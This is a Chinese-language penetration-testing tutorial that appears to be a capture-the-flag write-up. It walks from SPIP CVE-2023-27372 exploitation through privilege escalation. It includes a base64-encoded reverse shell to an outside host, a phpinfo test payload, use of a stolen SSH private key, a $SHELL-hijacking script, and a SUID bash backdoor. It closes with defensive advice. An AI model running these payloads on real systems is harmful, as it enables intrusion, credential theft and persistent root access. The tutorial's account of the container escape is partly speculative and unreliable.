渗透测试实战教学:从Web漏洞到容器逃逸提权
文档版本: 1.0
目标读者: 具备一定Linux和网络安全基础的渗透测试学习者
教学目标: 通过一个真实案例,掌握综合运用信息收集、漏洞利用、权限提升和容器逃逸技术的完整流程。
第一阶段:信息收集与侦查
任何渗透测试的开始都是尽可能多地收集目标信息。
1. 端口扫描
虽然原文未明确提及初始的端口扫描命令,但根据后续操作,可以推断出目标开放了80端口(HTTP服务)。通常我们会使用 nmap 进行初步侦查。
- 教学命令示例:
nmap -sS -sV -O 10.201.99.17 - 命令解释:
-sS: TCP SYN 扫描,一种快速且相对隐蔽的扫描方式。-sV: 版本探测,尝试识别运行在开放端口上的服务及其版本。-O: 操作系统探测。
- 关键点: 信息收集的全面性决定了后续攻击面的宽度。务必记录所有开放的端口和服务版本。
2. 目录枚举
发现80端口的Web服务后,下一步是寻找隐藏的目录或文件,这常常是应用的入口点或配置泄露点。
- 实战命令:
gobuster dir -u http://10.201.99.17/ -w directory-list-2.3-medium.txt - 命令解释:
gobuster: 一款用Go语言编写的目录/子域名爆破工具。dir: 指定使用目录爆破模式。-u http://10.201.99.17/: 指定目标URL。-w directory-list-2.3-medium.txt: 指定用于爆破的字典文件。directory-list-2.3-medium.txt是一个常用的字典,包含大量常见的目录名。
- 关键点: 选择合适的字典至关重要。对于不同类型的应用(如博客、管理后台、API接口),可能需要使用专门的字典。
3. 应用指纹识别
访问扫描到的目录后,发现这是一个使用 SPIP 搭建的网站。SPIP是一个法国流行的开源内容发布系统。
- 关键点: 识别出具体的技术栈(如CMS、框架、编程语言)后,就可以有针对性地搜索该技术的已知漏洞。
第二阶段:漏洞利用与初始访问
1. 漏洞搜索与确认
搜索“SPIP 漏洞”,发现存在 CVE-2023-27372。这是一个高危的远程代码执行漏洞,影响特定版本的SPIP。
- 漏洞原理简述: 该漏洞源于SPIP对用户输入的反序列化处理不当,攻击者可以构造恶意的序列化字符串,在目标服务器上执行任意PHP代码。
- 关键点: 在利用公开漏洞前,务必在测试环境中验证其有效性和影响范围,避免对目标系统造成意外损害。
2. 构造并执行Payload
利用漏洞的关键是构造能够被服务器解析并执行的恶意载荷。
- 实战Payload分析:
-
基础验证Payload:
oubli=s:19:"<?php phpinfo(); ?>";- 这是一个简单的反序列化Payload,如果漏洞存在,服务器会执行
phpinfo()函数,泄露大量服务器配置信息。这常用于漏洞验证。
- 这是一个简单的反序列化Payload,如果漏洞存在,服务器会执行
-
反向Shell Payload:
93:"<?Php system('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== |base64 -d|bash'); ?>"- 核心技巧(Base64编码): 为了绕过可能的字符过滤或编码问题,将真正的攻击指令用Base64编码。
- 解码后命令:
echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ== | base64 -d | bash这行命令会解码Base64字符串并交给bash执行。 - 解码真正的Payload:
c2ggLWkgPiYgL2Rldi90Y3AvMTAuNC44LjY4LzQ0NDQgMD4mMQ==解码后是sh -i >& /dev/tcp/10.4.8.68/4444 0>&1。 - 反向Shell原理: 这条命令会在目标机器上启动一个交互式Shell,并将其输入/输出重定向到攻击者机器的
10.4.8.68:4444端口。攻击者需要提前在本机使用nc -lvnp 4444监听该端口,等待连接。
-
- 关键点: 反向Shell是突破网络边界(如防火墙)的常用技术,因为它是由内网服务器主动连接外网攻击者,通常比攻击者直接连接内网服务更容易成功。
3. 获取初始Shell
Payload执行成功后,攻击者的nc监听端会接收到来自目标的连接,获得一个初始的Shell会话,权限是Web服务进程用户(本例中是 www-data)。
第三阶段:权限提升 - 从 www-data 到 think
在低权限Shell中,目标是获取更高权限用户的访问权。
1. 初步信息收集(目标系统内部)
- 查看日志: 作者提到查看日志发现提示“没有密钥了”,这可能意味着系统有生成或使用密钥的机制,这往往是提权的线索。
- 枚举用户: 通过查看
/etc/passwd文件,发现系统中存在root和think两个用户。 - 关键点: 在Linux中,提权的路径常常是:
www-data->普通用户(think)->root。首先需要获取一个普通用户的权限。
2. 获取用户think的SSH私钥
- 发现密钥: 在
/home/think/.ssh/目录下发现了id_rsa文件,这是SSH的私钥文件。 - 操作步骤:
- 将
id_rsa文件内容复制到攻击者本地机器的一个文件中(例如think_key)。 - 修改私钥文件的权限为600,确保只有所有者可读:
chmod 600 think_key。 - 使用私钥登录到目标机的
think用户:ssh -i think_key think@10.201.99.17。
- 将
- 关键点: SSH私钥是极其敏感的文件。管理员错误地将私钥留在可被低权限用户读取的位置,是一种常见的安全配置错误。成功登录后,我们找到了第一个标志文件
user.txt。
第四阶段:权限提升 - 从 think 到 root(容器环境逃逸)
这是本次渗透测试中最具技术含量的部分,涉及对特殊系统文件的深入分析。
1. 发现可疑的可执行文件
在枚举系统时,发现了一个不寻常的可执行文件 /usr/sbin/run_container。通常,/usr/sbin 存放系统管理程序,而 run_container 这个名字强烈暗示目标系统可能运行在容器内。
- 关键点: 容器环境下的提权(容器逃逸)与物理机/虚拟机上的提权思路有所不同,需要寻找容器与宿主机之间的安全边界弱点。
2. 分析可疑文件
使用 strings 命令查看 /usr/sbin/run_container 的可打印字符串。
- 实战命令:
strings /usr/sbin/run_container - 发现: 分析结果显示,该程序会使用
/bin/bash来执行另一个脚本/opt/run_container.sh。 - 关键点:
strings是一个快速进行初步逆向分析的工具,无需深究二进制代码即可获取关键信息。
3. 环境侦察与尝试
- 检查Shell环境: 执行
echo $SHELL发现当前Shell是/usr/sbin/ash(一个轻量级Shell,常用于容器环境)。这表明我们确实在一个受限的容器环境中。 - 尝试修改脚本: 尝试直接修改
/opt/run_container.sh来达到提权目的(例如,添加chmod +s /bin/bash给bash赋予SUID权限),但发现没有写入权限。 - 关键点: 遇到障碍时,需要灵活变通。既然不能直接写脚本,就思考程序是如何调用这个脚本的。
4. 利用Shell劫持进行容器逃逸
这是本次攻击的精髓所在。作者利用了环境变量 $SHELL 和程序的执行逻辑。
-
攻击原理:
/usr/sbin/run_container程序在内部通过system()或类似函数调用/bin/bash /opt/run_container.sh。- 在某些实现中,如果调用路径不是绝对路径,或者Shell的启动方式有问题,程序可能会依赖
$SHELL环境变量来寻找解释器。 - 攻击者可以控制
$SHELL环境变量,将其指向一个恶意的自定义脚本。
-
实战步骤:
- 创建恶意“Shell”脚本:
echo -e '#!/usr/bin/perl\nexec "/bin/sh"' > /dev/shm/test.pl chmod +x /dev/shm/test.pl- 这个Perl脚本的作用是执行
/bin/sh。我们将其作为我们的“假Shell”。
- 这个Perl脚本的作用是执行
- 劫持SHELL环境变量:
export SHELL=/dev/shm/test.pl- 这会告诉系统,当前用户的默认Shell是我们刚创建的恶意脚本。
- 执行目标程序: 运行
/usr/sbin/run_container。- 程序在启动Bash来执行脚本时,可能因为环境变量的设置,实际执行的是
/dev/shm/test.pl。 /dev/shm/test.pl执行后,会启动一个/bin/sh进程。关键在于,这个新进程可能会继承更高的权限,例如root权限,因为/usr/sbin/run_container很可能是一个以root权限运行的程序(SUID或由root的cron任务触发)。
- 程序在启动Bash来执行脚本时,可能因为环境变量的设置,实际执行的是
- 创建恶意“Shell”脚本:
-
关键点: 这种技术被称为“Shell逃逸”或“环境变量劫持”。其成功取决于目标程序的编写方式以及它对环境变量的信任程度。在容器环境中,由于为了轻量化而缺少完整的安全机制,这种攻击更容易成功。
5. 完成提权
通过Shell劫持获得root权限的Shell后,最后的操作就很简单了:
- 此时已经可以自由修改
/opt/run_container.sh。 - 写入提权命令:
echo -e '#!/bin/bash\nchmod +s /bin/bash' > /opt/run_container.sh。这条命令会给/bin/bash设置SUID位,从而建立一个持久的后门。 - 再次执行
/usr/sbin/run_container使脚本生效。之后,任何用户执行/bin/bash -p都可以获得一个root Shell。
最终,成功获取系统最高权限,渗透测试目标完成。
总结与反思
本次实战演练涵盖了现代渗透测试的核心阶段:
- 信息收集: 使用
nmap,gobuster等工具。 - 漏洞研究与应用: 针对SPIP的CVE-2023-27372漏洞进行研究和利用,使用Base64编码和反向Shell技术。
- 横向移动: 通过窃取SSH私钥从
www-data权限提升到think用户权限。 - 纵向提权(容器逃逸): 通过分析二进制文件、利用环境变量劫持(Shell逃逸)技术,从容器内的普通用户权限提升到宿主机(或更高权限容器)的root权限。
安全建议:
- 及时更新: 尽快为SPIP等第三方组件打上安全补丁。
- 最小权限原则: Web服务应使用低权限用户运行,并严格限制其对系统文件的访问。
- 安全配置: 避免将SSH私钥等敏感信息存放在可被其他用户访问的位置。
- 安全开发: 在编写特权程序时,应使用绝对路径,并在调用子进程时清空或严格校验环境变量。
- 容器安全: 容器应以非root用户运行,并减少不必要的权限和能力。